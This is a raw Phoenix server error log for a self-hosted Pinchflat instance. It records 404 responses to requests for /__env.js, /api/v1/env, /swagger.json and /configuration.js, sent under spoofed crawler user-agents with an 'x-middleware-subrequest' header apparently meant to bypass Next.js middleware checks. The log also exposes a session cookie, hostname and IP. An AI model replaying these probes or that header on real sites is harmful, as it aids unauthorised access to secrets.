"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29841.0>, params: %{}, path_info: ["__env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/__env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kTcwylOY20ABwiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29840.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34692}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29840.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34692}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:10.015 [info] GET /api/v1/env 16:49:10.015 [debug] QUERY OK source="settings" db=0.0ms idle=64.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.015 [debug] QUERY OK source="settings" db=0.0ms idle=53.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.015 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.015 [error] #PID<0.29843.0> running PinchflatWeb.Endpoint (connection #PID<0.29842.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/v1/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34696}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29843.0>, params: %{}, path_info: ["api", "v1", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/v1/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kdyka9RiDcABwih"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34696}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34696}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:10.017 [info] GET /swagger.json 16:49:10.018 [debug] QUERY OK source="settings" db=0.0ms idle=56.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.018 [debug] QUERY OK source="settings" db=0.0ms idle=46.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.018 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.018 [error] #PID<0.29845.0> running PinchflatWeb.Endpoint (connection #PID<0.29844.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /swagger.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /swagger (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29844.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/swagger.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29845.0>, params: %{}, path_info: ["swagger"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/swagger.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kebV-kqrcsAAIJj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29844.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/swagger.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /swagger (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29844.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/swagger.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34708}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: (truncated) 16:49:10.035 [info] GET /configuration.js 16:49:10.035 [debug] QUERY OK source="settings" db=0.0ms idle=63.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.035 [debug] QUERY OK source="settings" db=0.0ms idle=20.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.035 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.035 [error] #PID<0.29847.0> running PinchflatWeb.Endpoint (connection #PID<0.29846.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /configuration.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configuration (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34720}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29847.0>, params: %{}, path_info: ["configuration"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/configuration.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61kinYw7LwRcABMWi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29846.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34720}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => 